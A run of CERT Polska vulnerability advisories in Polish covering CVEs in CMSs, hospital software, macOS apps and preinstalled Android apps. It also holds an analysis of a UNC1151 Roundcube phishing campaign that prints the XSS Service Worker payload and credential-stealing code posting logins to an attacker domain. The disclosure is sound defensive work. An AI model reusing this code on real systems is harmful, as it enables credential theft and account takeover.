Podatność CVE-2025-54540: QuickCMS jest podatny na atak typu Reflected XSS poprzez parametr sSort w funkcjonalności panelu administratora. Złośliwy atakujący może przygotować specjalnie spreparowany adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Podatność CVE-2025-54541: QuickCMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności usuwania stron. Złośliwy atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST usuwające dowolny artykuł.

Podatność CVE-2025-54542: QuickCMS przesyła hasło i login za pomocą żądania GET. Umożliwia to lokalnemu atakującemu, który ma dostęp do historii przeglądarki ofiary, uzyskanie danych uwierzytelniających potrzebnych do zalogowania się jako użytkownik.

Podatność CVE-2025-54543: QuickCMS jest podatny na atak typu Stored XSS poprzez parametr sDescriptionMeta w funkcjonalności edytora SEO strony. Złośliwy atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania kodu JavaScript do witryny.

Podatność CVE-2025-54544: QuickCMS jest podatny na atak typu Stored XSS poprzez parametr aDirFilesDescriptions w funkcjonalności edytora plików. Złośliwy atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania kodu JavaScript do witryny.

Podatność CVE-2025-55175: QuickCMS jest podatny na atak typu Reflected XSS poprzez parametr sLangEdit w funkcjonalności panelu administratora. Złośliwy atakujący może przygotować specjalnie spreparowany adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Czubernatowi.

Podatności w oprogramowaniu CGM CLININET

2025-08-27T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu CGM CLININET i koordynował proces ujawniania informacji.

Podatność CVE-2025-2313: W usłudze Print.pl w funkcji uhcPrintServerPrint możliwe jest przekazanie do wykonania dowolnego kodu za pomocą parametru CopyCounter.

Podatność CVE-2025-30036: Podatność typu Stored XSS występuje w module Oddział w polu opisu diagnozy zgonu i pozwala na wykonanie dowolnego kodu JS oraz na przejęcie sesji innego użytkownika i tym samym potencjalną eskalację uprawnień do pełnych uprawnień administracyjnych.

Podatność CVE-2025-30037: W systemie występuje wiele ścieżek, zwykle zawierających element /int/, które powinny być dostępne tylko dla wewnętrznych usług, a są wystawione publicznie i bez uwierzytelnienia dla wszystkich komputerów mających możliwość komunikacji z serwerem aplikacyjnym na 443/tcp.

Podatność CVE-2025-30038: Podatność polega na wycieku ID sesji przy zapisie pliku pobieranego z CGM CLININET. Identyfikator wycieka przez wbudowany mechanizm bezpieczeństwa w Windows, który zapisuje dodatkowe metadane w tzw. NTFS alternate data stream (ADS) dla wszystkich plików pobieranych z potencjalnie niezaufanych źródeł.

Podatność CVE-2025-30039: Nieuwierzytelniony dostęp do endpointa /cgi-bin/CliniNET.prd/GetActiveSessions.pl umożliwia przejęcie sesji dowolnego użytkownika zalogowanego do systemu, w tym użytkownika z uprawnieniami administratora.

Podatność CVE-2025-30040: Po wykonaniu zapytania GET /cgi-bin/CliniNET.prd/utils/userlogxls.pl, bez uwierzytelnienia zwracany jest plik zawierający dane z ID sesji.

Podatność CVE-2025-30041: Ścieżki: /cgi-bin/CliniNET.prd/utils/userlogstat.pl, /cgi-bin/CliniNET.prd/utils/usrlogstat.pl, /cgi-bin/CliniNET.prd/utils/dblogstat.pl udostępniają dane zawierające ID sesji.

Podatność CVE-2025-30048: Endpoint serverConfig zwracający konfigurację modułu, w tym poświadczenia, jest dostępny bez uwierzytelnienia.

Podatność CVE-2025-30055: Funkcja system przyjmuje jako argument niezaufane dane od użytkownika. W przypadku włączonej opcji EnableJSCaching możliwe jest wykonanie dowolnego kodu przekazanego jako parametr Module.

Podatność CVE-2025-30056: Funkcja RunCommand przyjmuje dowolny parametr, który jest przekazywany do wykonania w shell. Atakujący może w ten sposób doprowadzić do wykonania dowolnego kodu przez system.

Podatność CVE-2025-30057: W UHCRTFDoc przez parametr filename występuje możliwość wykonania dowolnego kodu poprzez wstrzyknięcia poleceń do system() w funkcji ConvertToPDF.

Podatność CVE-2025-30058: W usłudze PatientService.pl, w funkcji getPatientIdentifier istnieje możliwość wstrzyknięcia polecenia SQL poprzez parametr pesel.

Podatność CVE-2025-30059: W usłudze PrepareCDExportJSON.pl, w funkcji getPerfServiceIds istnieje możliwość wstrzyknięcia polecenia SQL.

Podatność CVE-2025-30060: W usłudze ReturnUserUnitsXML.pl, w funkcji getUserInfo istnieje możliwość wstrzyknięcia polecenia SQL poprzez parametr UserID.

Podatność CVE-2025-30061: W usłudze utils/Reporter/OpenReportWindow.pl istnieje możliwość wstrzyknięcia polecenia SQL poprzez parametr UserID.

Podatność CVE-2025-30063: Plik konfiguracyjny zawierający loginy i hasła do bazy danych jest możliwy do odczytania przez dowolnego lokalnego użytkownika.

Podatność CVE-2025-30064: Niedostatecznie zabezpieczona wewnętrzna funkcjonalność pozwalająca na generowanie sesji dla dowolnych użytkowników. Funkcja decodeParam sprawdza JWT, ale nie weryfikuje, jaki algorytm został użyty do podpisu. Atakujący może w ten sposób za pomocą parametru ex:action w funkcji VerifyUserByThrustedService wygenerować sesję dla dowolnego użytkownika.

Podziękowania

Za zgłoszenie podatności dziękujemy Maciejowi Kazulakowi.

Podatności w oprogramowaniu OpenSolution Quick.CMS oraz Quick.CMS.Ext

2025-08-20T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution Quick.CMS oraz Quick.CMS.Ext i koordynował proces ujawniania informacji.

Podatność CVE-2025-54172: Quick.CMS jest podatny na atak typu Stored XSS w parametrze sTitle w funkcjonalności edytora stron. Atakujący z uprawnieniami administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Zwykły użytkownik z uprawnieniami administratora nie jest w stanie umieścić żadnych skryptów JS na stronie.

Podatność CVE-2025-54174: Quick.CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności tworzenia artykułów. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST tworzące szkodliwy artykuł z treścią określoną przez atakującego.

Podatność CVE-2025-54175: Quick.CMS.Ext jest podatny na atak typu Reflected XSS w parametrze sFileName w funkcjonalności przeglądarki miniaturek. Atakujący może przygotować adres URL, którego otwarcie spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Zmiana domyślnej ścieżki prowadzącej do panelu administracyjnego (zgodnie z zaleceniami wyświetlanymi podczas instalacji) utrudnia eksploatację powyższych podatności, ale jej nie uniemożliwia.

Dostawca rozwiązania został powiadomiony o tych podatnościach, lecz nie udzielił informacji o zakresie podatnych wersji. Jedynie wersja 6.8 została przetestowana i potwierdzona jako podatna, inne wersje nie były testowane i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.

Podatność w oprogramowaniu Akcess-Net Lepszy BIP

2025-08-14T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Akcess-Net Lepszy BIP i koordynował proces ujawniania informacji.

Podatność CVE-2025-7761: Lepszy BIP jest podatny na atak typu Reflected Cross-Site Scripting (XSS). Niewłaściwa walidacja danych wejściowych w formularzu index.php w jednym z parametrów umożliwia wykonanie dowolnego kodu JavaScript w przeglądarce ofiary po otwarciu specjalnie spreparowanego adresu URL.

Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił żadnej odpowiedzi. Potencjalnie wszystkie wersje są podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.

Podatność TCC Bypass w sześciu aplikacjach na MacOS

2025-08-11T15:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu GIMP, Mosh-Pro, Cursor, MacVim, Nozbe oraz Invoice Ninja i koordynował proces ujawniania informacji.

Podatność CVE-2025-8672: Wersja GIMP dla macOS zawiera interpreter Pythona, który dziedziczy uprawnienia TCC (Transparency, Consent, and Control) nadane przez użytkownika głównej aplikacji. Atakujący z dostępem do lokalnego konta użytkownika może uruchomić ten interpreter z dowolnymi poleceniami lub skryptami, wykorzystując wcześniej nadane uprawnienia TCC do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.

Problem został naprawiony w wersji 3.1.4.2 programu GIMP.

Podatność CVE-2025-53811: Mosh-Pro na systemy macOS posiada flagę „RunAsNode”, co umożliwia lokalnemu atakującemu z nieuprzywilejowanym dostępem wykonanie dowolnego kodu, wykorzystując wcześniej nadane uprawnienia TCC (Transparency, Consent, and Control) do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.

Problem został wykryty w wersji 1.3.2 programu Mosh-Pro. Ponieważ autorzy nie odpowiedzieli na wiadomości od nas, status poprawek pozostaje nieznany.

Podatność CVE-2025-9190: Cursor na systemy macOS posiada flagę „RunAsNode”, co umożliwia lokalnemu atakującemu z nieuprzywilejowanym dostępem wykonanie dowolnego kodu, wykorzystując wcześniej nadane uprawnienia TCC (Transparency, Consent, and Control) do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.

Problem został wykryty w wersji 15.4.1 programu Cursor. Autorzy projektu zdecydowali się nie naprawiać tej podatności, ponieważ scenariusz obejmujący lokalnego atakującego wykracza poza ich zdefiniowany model zagrożeń.

Podatność CVE-2025-53813: Nozbe na systemy macOS posiada flagę „RunAsNode”, co umożliwia lokalnemu atakującemu z nieuprzywilejowanym dostępem wykonanie dowolnego kodu, wykorzystując wcześniej nadane uprawnienia TCC (Transparency, Consent, and Control) do uzyskania dostępu do plików użytkownika znajdujących się w folderach chronionych prywatnością — bez wywoływania dodatkowych monitów systemowych.

Problem został naprawiony w wersji 2025.11 programu Nozbe.

Podatność CVE-2025-8597: Konfiguracja MacVim w systemie macOS, a konkretnie obecność uprawnienia „com.apple.security.get-task-allow”, umożliwia lokalnym atakującym z nieuprzywilejowanym dostępem (np. poprzez złośliwą aplikację) podłączenie debugera, odczyt lub modyfikację pamięci procesu, wstrzyknięcie kodu w kontekście aplikacji mimo korzystania z Hardened Runtime oraz ominięcie mechanizmu TCC (Transparency, Consent, and Control).

Problem został naprawiony w wydaniu r181.2.

PodatnośćCVE-2025-8700: Konfiguracja Invoice Ninja w systemie macOS, a konkretnie obecność uprawnienia „com.apple.security.get-task-allow”, umożliwia lokalnym atakującym z nieuprzywilejowanym dostępem (np. poprzez złośliwą aplikację) podłączenie debugera, odczyt lub modyfikację pamięci procesu, wstrzyknięcie kodu w kontekście aplikacji mimo korzystania z Hardened Runtime oraz ominięcie mechanizmu TCC (Transparency, Consent, and Control).

Problem został naprawiony w wersji 5.0.175.

Zgodnie z dokumentacją Apple, gdy zwykły użytkownik (nie root) uruchamia aplikację z uprawnieniem debugowania, system wyświetla okno autoryzacji proszące o dane uwierzytelniające administratora systemu. Ponieważ taki monit nie pojawia się, gdy proces docelowy posiada uprawnienie „get-task-allow”, obecność tego uprawnienia została uznana za podatność, ponieważ eliminuje jeden krok potrzebny do przeprowadzenia ataku.

We wszystkich przypadkach dostęp atakującego jest ograniczony uprawnieniami, które użytkownik nadał danej podatnej aplikacji. Dostęp do innych zasobów, które nie zostały wcześniej zatwierdzone w ramach TCC, spowoduje wyświetlenie monitu o zgodę w imieniu podatnej aplikacji, co może posłużyć do ukrycia złośliwego działania atakującego.

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi z zespołu AFINE.

Rekomendacje dla ustanawiania zespołów CSIRT

2025-08-07T12:00:00+01:00

Pobierz rekomendacje (PDF, 1.5MB)

Oddajemy w Państwa ręce dokument, którego podstawowym celem jest wsparcie w procesie ustanawiania CSIRT-ów oraz rozwijania ich zdolności operacyjnych. Pierwsze, niepubliczne wydanie niniejszych rekomendacji, zostało przygotowane z myślą o powstawaniu CSIRT-ów sektorowych zgodnie z projektem nowelizacji ustawy o krajowym systemie cyberbezpieczeństwa. Chcemy, żeby proces tworzenia zespołów cyberbezpieczeństwa przebiegał w sposób uporządkowany, a same zespoły działały spójnie i porównywalnie. W związku z tym zależy nam, by powstające CSIRT-y osiągały co najmniej poziom podstawowej dojrzałości (Basic) zgodnie z ENISA CSIRT Maturity Framework.

Dzięki temu CSIRT-y będą mogły skutecznie wykonywać powierzone zadania oraz produktywnie współpracować z CSIRT-ami poziomu krajowego lub CSIRT-ami sektorowymi. To z kolei umożliwi organizacjom lepsze zarządzanie ryzykiem zakłóceń w funkcjonowaniu usług. Zachęcamy do uwzględnienia naszych rekomendacji podczas tworzenia zespołów cyberbezpieczeństwa oraz do dzielenia się swoimi doświadczeniami z innymi instytucjami, które stają przed podobnym wyzwaniem.

W dokumencie zostały przedstawione praktyczne porady dotyczące organizacji i funkcjonowania zespołów CSIRT. Rekomendacje kierowane są przede wszystkim do osób odpowiedzialnych za tworzenie zespołów cyberbezpieczeństwa w podmiotach krajowego systemu cyberbezpieczeństwa, ale również do pracowników innych podmiotów, w tym komercyjnych, które podejmą decyzję o powołaniu podobnego zespołu. Dokument ma charakter wspomagający – nie jest wiążący, lecz jego stosowanie umożliwi ujednolicenie zasad oraz zwiększy szanse na sprawne i zgodne z regulacjami funkcjonowanie zespołu, a także wpłynie na harmonijną współpracę z zespołami CSIRT poziomu krajowego i CSIRT-ami sektorowymi.

Niniejsze rekomendacje dotyczą zespołów CSIRT – zespołów reagowania na incydenty bezpieczeństwa komputerowego, jednak można je odnieść odpowiednio również do innych zespołów bezpieczeństwa komputerowego, takich jak CERT, SOC czy ISAC.

Zachęcamy do uwzględnienia naszych rekomendacji podczas tworzenia lub rozwijania zespołów cyberbezpieczeństwa. Dobrej lektury!

Kliknij w interesujący Cię artykuł w poniższym spisie treści, aby wyświetlić go w przeglądarce, albo pobierz plik z rekomendacjami.

Podatność w oprogramowaniu Flexibits Fantastical

2025-08-07T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Flexibits Fantastical i koordynował proces ujawniania informacji.

Podatność CVE-2025-8533: Usługa XPC w Flexibits Fantastical nie wdrożyła odpowiednich mechanizmów autoryzacji klienta w metodzie listener:shouldAcceptNewConnection, bezwarunkowo akceptując żądania od dowolnego lokalnego procesu. W rezultacie każdy lokalny, nieuprzywilejowany proces mógł połączyć się z usługą XPC i uzyskać dostęp do jej metod.

Podatność została usunięta w wersji 4.0.16.

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi i Sławomirowi Zakrzewskiemu z Afine Team.

Podatność w oprogramowaniu TSplus Remote Access

2025-07-29T15:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu TSplus Remote Access i koordynował proces ujawniania informacji.

Podatność CVE-2025-5922: Dostęp do narzędzia TSplus Remote Access Admin Tool wymaga uprawnień administratora (chyba że włączono opcję „Disable UAC”) oraz podania kodu PIN. W wersjach poniżej v18.40.6.17 hash kodu PIN jest przechowywany w rejestrze systemowym dostępnym dla zwykłych użytkowników, co umożliwia przeprowadzenie ataku brute-force z użyciem tablic tęczowych, ponieważ nie została zastosowana sól. Wersje LTS (Long-Term Support) również otrzymały poprawki w wydaniach v17.2025.6.27 oraz v16.2025.6.27.

Podziękowania

Za zgłoszenie podatności dziękujemy doktorowi Michałowi Walkowskiemu.

Podatność w oprogramowaniu FARA

2025-07-21T10:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu FARA firmy SIGNUM-NET i koordynował proces ujawniania informacji.

Podatność CVE-2025-4049: Wykorzystanie zaszytych w kodzie, identycznych dla wszystkich klientów poświadczeń do bazy danych SQLite w SIGNUM-NET FARA umożliwia dostęp i edycję lokalnie przechowywanej bazy. Podatność dotyczy programu FARA w wersjach do 5.0.80.34 włącznie.

Podziękowania

Za zgłoszenie podatności dziękujemy Mateuszowi Sirko.

Podatności w aplikacjach preinstalowanych na telefonach Bluebird

2025-07-17T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie dotyczące podatności w fabrycznie zainstalowanych aplikacjach na telefonach Bluebird i koordynował proces ujawniania informacji.

Podatność CVE-2025-5344: Telefony marki Bluebird zawierają fabrycznie zainstalowaną aplikację kiosku. Ta aplikacja udostępnia niezabezpieczoną usługę com.bluebird.kiosk.launcher.IpartnerKioskRemoteService. Złośliwa aplikacja może wykorzystać tę usługę do modyfikacji globalnych ustawień urządzenia oraz zmiany tapety.

Ta podatność dotyczy wszystkich wersji przed wersją 1.1.2.

Podatność CVE-2025-5345: Telefony marki Bluebird zawierają fabrycznie zainstalowaną aplikację menedżera plików. Ta aplikacja udostępnia niezabezpieczoną usługę com.bluebird.system.koreanpost.IsdcardRemoteService. Złośliwa aplikacja może wykorzystać tę usługę do kopiowania oraz usuwania dowolnego pliku z uprawnieniami systemowymi.

Podatność występuje w wersji 1.4.4, wspomniana wersja została wycofana i zastąpiona starszą, w której podatność nie występuje: 1.3.6

Podatność CVE-2025-5346: Telefony marki Bluebird zawierają fabrycznie zainstalowaną aplikację skanera kodów kreskowych. Ta aplikacja udostępnia niezabezpieczony odbiornik rozgłoszeniowy kr.co.bluebird.android.bbsettings.BootReceiver. Złośliwa aplikacja może wykorzystać ten odbiornik do nadpisania plików, domyślnym plikiem konfiguracyjnym aplikacji. Możliwe jest nadpisanie dowolnego pliku, zawierającego w nazwie .json, z wykorzystaniem ataku typu Path Traversal.

Ta podatność dotyczy wszystkich wersji przed wersją 1.3.3.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.

Podatność w oprogramowaniu SUR-FBD CMMS

2025-07-07T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu SUR-FBD CMMS i koordynował proces ujawniania informacji.

W oprogramowaniu SUR-FBD CMMS ujawniono podatność CVE-2025-3920 polegającą na umieszczeniu w pliku DLL poświadczeń do wbudowanego konta administratora. Atakujący z lokalnym dostępem do systemu bądź katalogu w którym aplikacja została zainstalowana mógł pozyskać te poświadczenia, co mogło prowadzić do uzyskania dostępu do aplikacji na poziomie administratora. Łatka naprawcza eliminująca tę podatność została opublikowana w wersji 2025.03.27.

Podziękowania

Za zgłoszenie podatności dziękujemy Thomasowi Hayen (Easi).

Podatności TCC Bypass w dwóch aplikacjach na systemy macOS

2025-06-20T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach występujących w dwóch aplikacjach na systemy macOS i koordynował proces ujawniania informacji.

Podatność CVE-2025-5255: Obecność uprawnienia com.apple.security.cs.allow-dyld-environment-variables oraz com.apple.security.cs.disable-library-validation w aplikacji Phoenix Code umożliwia podmianę dynamicznej biblioteki. Lokalny atakujący z dostępem do nieuprzywilejowanego konta z wykorzystaniem zmiennej środowiskowej DYLD_INSERT_LIBRARIES może wstrzyknąć kod, który wykona się w kontekście aplikacji, omijając w ten sposób system Transparency, Consent, and Control (TCC). Uruchomiony kod uzyskuje jedynie uprawnienia do zasobów wcześniej przyznanych przez użytkownika. Dostęp do pozostałych zasobów, wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.

Podatność została usunięta w poprawce o skrócie: 0c75fb57f89d0b7d9b180026bc2624b7dcf807da

Podatność CVE-2025-5963: Obecność uprawnienia com.apple.security.cs.allow-dyld-environment-variables oraz com.apple.security.cs.disable-library-validation w aplikacji Postbox umożliwia podmianę dynamicznej biblioteki. Lokalny atakujący z dostępem do nieuprzywilejowanego konta z wykorzystaniem zmiennej środowiskowej DYLD_INSERT_LIBRARIES może wstrzyknąć kod, który wykona się w kontekście aplikacji, omijając w ten sposób system Transparency, Consent, and Control (TCC). Uruchomiony kod uzyskuje jedynie uprawnienia do zasobów wcześniej przyznanych przez użytkownika. Dostęp do pozostałych zasobów, wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.

Firma odpowiedzialna za Postbox już nie istnieje, a oprogramowanie nie otrzyma potrzebnej aktualizacji. Postbox została przejęta przez firmę eM Client, która nie współpracowała z naszym zespołem w procesie koordynowanego ujawnienia podatności.

Podziękowania

Za zgłoszenia podatności dziękujemy Karolowi Mazurkowi z Afine.

Kampania UNC1151 wykorzystująca podatność w oprogramowaniu Roundcube do kradzieży poświadczeń

2025-06-05T14:00:00+02:00

Zespół CERT Polska wykrył w tym tygodniu kampanię mailową wymierzoną w polskie podmioty, wykorzystującą podatność CVE-2024-42009 w oprogramowaniu Roundcube. Podatność umożliwia wykonanie kodu JavaScript w momencie odczytania maila, co zostało użyte w atakach mających na celu kradzież poświadczeń.

Warto dodać, że w tym tygodniu została opublikowana również inna podatność – CVE-2025-49113, która pozwala na zdalne wykonanie kodu na serwerze przez uwierzytelnionego użytkownika poczty. Mimo że nie widzieliśmy jeszcze jej wykorzystania, połączenie tych dwóch wektorów może prowadzić do pełnego przejęcia infrastruktury atakowanej organizacji.

Wskaźniki techniczne pozwalają nam z wysokim prawdopodobieństwem wiązać te działania ze zbiorem aktywności UNC1151. Według publikacji firm Mandiant i Google grupa UNC1151 jest łączona z rządem Białorusi, a według innych źródeł ma również związek z rosyjskimi służbami specjalnymi.

Analiza techniczna

Atakujący rozesłał e-maile z tytułem mającym nakłonić odbiorcę do podjęcia szybkiego działania i zapoznania się z treścią wiadomości. W momencie jej otwarcia wykorzystywana była znana podatność w oprogramowaniu Roundcube (CVE-2024-42009).

Podatność CVE-2024-42009

Wykorzystana w tym ataku podatność to błąd w aplikacji Roundcube, pozwalający na wykonanie dowolnego kodu JavaScript w kontekście użytkownika odczytującego spreparowaną przez atakujących wiadomość e-mail. Klienty poczty elektronicznej działające w przeglądarce, takie jak Roundcube, muszą wyświetlić treść e-maila pozwalając na pewien zakres funkcjonalności HTML, ale bez możliwości wykonania niebezpiecznego kodu. Niebezpieczny kod w tym przypadku to taki, który może zmodyfikować elementy interfejsu klienta pocztowego i wprowadzić użytkownika w błąd albo wykonywać inne akcje w jego imieniu. Najpoważniejszą konsekwencją może być całkowite przejęcie kontroli nad kontem poprzez przejęcie sesji użytkownika lub danych uwierzytelniania. Aby bezpiecznie wyświetlić kod HTML, klient poczty elektronicznej musi pozbawić go niebezpiecznych elementów, np. znaczników i atrybutów umożliwiających wykonanie dowolnego kodu JavaScript. Jest to proces zwany sanityzacją i w tym przypadku jest to wyjątkowo trudny problem do rozwiązania. Na przestrzeni ostatnich lat znaleziono wiele podatności tego rodzaju, zarówno bezpośrednio w klientach poczty elektronicznej oraz w dedykowanych rozwiązaniach do sanityzacji kodu HTML. Zespół CERT Polska, badając webowe klienty poczty elektronicznej polskich dostawców w latach 2021-2022, znalazł i zgłosił ponad 20 podatności XSS wykorzystywanych podczas odczytywania wiadomości e-mail, w tym jedną także w oprogramowaniu Roundcube. Podatność CVE-2024-42009 została odkryta przez badaczy Sonar w zeszłym roku.

Warto podkreślić, że atakujący najprawdopodobniej zakładał, iż administratorzy systemów zaniedbują regularne aktualizacje oprogramowania. Inne podatności typu XSS w Roundcube i podobnych klientach poczty były w przeszłości wielokrotnie używane przez różne grupy APT (m.in. APT28, Winter Vivern), jednak jest to pierwszy przypadek, gdy tę technikę stosuje klaster UNC1151. Na podkreślenie zasługuje również wykorzystanie mechanizmu Service Worker w tego typu atakach.

Złośliwy kod

Złośliwy kod użyty przez atakującego składa się z dwóch części. Pierwsza uruchamiana jest poprzez wykorzystanie opisanej powyżej podatności i instaluje (z kodu dołączonego do wiadomości) tzw. Service Worker w przeglądarce użytkownika.

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes; animation-duration: 1s; 
onanimationstart=d=document.querySelector('#attachment-list');if(d)d.style.display='none';n=navigator;
u=d?.querySelector('a').href;if(u)n.serviceWorker.register(u) (...)

Service Workery to mechanizmy pozwalające na uruchomienie kodu JavaScript w tle i przechwytywanie wszystkich zapytań kierowanych z przeglądarki użytkownika do domeny z kontekstu zainstalowanego Service Workera.

Po poprawnej instalacji użytkownik jest następnie przenoszony na stronę logowania do poczty funkcją window.location.href='./?_task=login. Druga część kodu, która jest wykonywana w Service Workerze przechwytuje wszystkie próby zalogowania do aplikacji Roundcube i przesyła kopię wprowadzonych danych logowania na serwer atakujących.

self.addEventListener('fetch', event => {
  (...)
  if (req.method === 'POST') {
    const cloned = req.clone();
    cloned.text().then(bodyText => {
      const params = new URLSearchParams(bodyText);
      const user = params.get('username') || params.get('_user');
      const pass = params.get('password') || params.get('_pass');

        fetch('https://a.mpk-krakow.pl/creds', {
          body: JSON.stringify({
            login: user,
            password: pass,
            (...)

Z informacji uzyskanych od jednego z zaatakowanych podmiotów wynika, że atakujący po uzyskaniu poświadczeń i zalogowaniu się na przejętą skrzynkę analizuje jej zawartość, pobiera książkę adresową i w niektórych przypadkach używa przejętego maila do dalszej wysyłki wiadomości.

Warto ponownie podkreślić, że w tym tygodniu ukazała się krytyczna podatność pozwalająca na zdalnie wykonanie kodu dowolnemu uwierzytelnionemu użytkownikowi Roundcube. Nie widzieliśmy jej wykorzystania w tym ataku, ale dodanie jej jako element ataku pozwoliłoby atakującemu na pełne przejęcie kontroli na serwerem.

Zalecenia

Wszystkim podmiotom używającym oprogramowania Roundcube rekomendujemy:

Aktualizację oprogramowania Roundcube do najnowszej wersji, obecnie są to wersje 1.6.11 i 1.5.10
Analizę logów pod kątem połączeń z domeną a.mpk-krakow[.]pl
Analizę otrzymanych maili pod kątem nadawców i tytułu opisanego w sekcji IoC

Podmiotom, które były celem ataku, rekomendujemy:

Zmianę haseł użytkowników, którzy otrzymali wiadomość
Weryfikację aktywności na kontach użytkowników, którzy otrzymali wiadomość
Wyrejestrowanie Service Workera - w tym celu będąc na stronie poczty elektronicznej, należy przycisnąć klawisz F12, następnie przejść do zakładki Aplikacje -> Service Workers i wybrać opcję Wyrejestruj
Wszystkie podmioty, które otrzymały wiadomość, powinny niezwłocznie wykonać zgłoszenie do właściwego dla siebie CSIRT-u poziomu krajowego:
- CSIRT NASK - incydent.cert.pl
- CSIRT MON - csirt-mon@ron.mil.pl
- CSIRT GOV - incydent@csirt.gov.pl

IoC

irina.vingriena@gmail[.]com – adres nadawcy
julitaszczepanska38@gmail[.]com – adres nadawcy
2001:67c:e60:c0c:192:42:116:216 – adres źródłowy serwera SMTP
[!WAZNE] Faktura do numeru rezerwacji: S2500650676 – temat wiadomości
70cea07c972a30597cda7a1d3cd4cd8f75acad75940ca311a5a2033e6a1dd149, Delivery report – sha256 i nazwa załączonego pliku JS
a.mpk-krakow[.]pl – domena wykorzystywana przez atakującego

Podatność w oprogramowaniu 2ClickPortal

2025-06-05T12:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu 2ClickPortal firmy Trol InterMedia i koordynował proces ujawniania informacji.

Podatność CVE-2025-4568: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez nieautoryzowanego użytkownika w parametrze changes__reference_id w adresie URL umożliwia ataki typu Blind SQL Injection (boolean-based).

Podatność została usunięta w wersji 2ClickPortal 7.14.3.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.

Podatności w aplikacjach preinstalowanych na telefonach Ulefone oraz Krüger&Matz

2025-05-30T16:00:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie dotyczące podatności w aplikacjach fabrycznie zainstalowanych na telefonach Ulefone i Krüger&Matz i koordynował proces ujawniania informacji.

Podatność CVE-2024-13915: Telefony z systemem Android od producentów takich jak Ulefone i Krüger&Matz zawierają aplikację "com.pri.factorytest", instalowaną fabrycznie podczas procesu produkcji. Aplikacja „com.pri.factorytest” (version name: 1.0, version code: 1) udostępnia usługę "com.pri.factorytest.emmc.FactoryResetService", która umożliwia dowolnej aplikacji uruchomienie funkcji przywrócenia ustawień fabrycznych urządzenia. Zaktualizowana aplikacja nie ma wyższej wersji, została jednak dołączona do wydań systemu operacyjnego datowanych po grudniu 2024 roku w przypadku Ulefone i najprawdopodobniej po marcu 2025 roku w przypadku Krüger&Matz (producent nie potwierdził jednak tej informacji, więc nowsze wydania również mogą być podatne).

Podatność CVE-2024-13916: Aplikacja "com.pri.applock", fabrycznie zainstalowana na telefonach Krüger&Matz, umożliwia użytkownikowi szyfrowanie dowolnych aplikacji za pomocą kodu PIN lub danych biometrycznych. Publiczna metoda "query()" udostępniona przez dostawcę treści "com.android.providers.settings.fingerprint.PriFpShareProvider" umożliwia złośliwej aplikacji, nieposiadającej żadnych uprawnień systemowych Androida, pozyskanie kodu PIN. Producent nie udostępnił informacji o podatnych wersjach. Jedynie wersja (version name: 13, version code: 33) została przetestowana i potwierdzono w niej podatność.

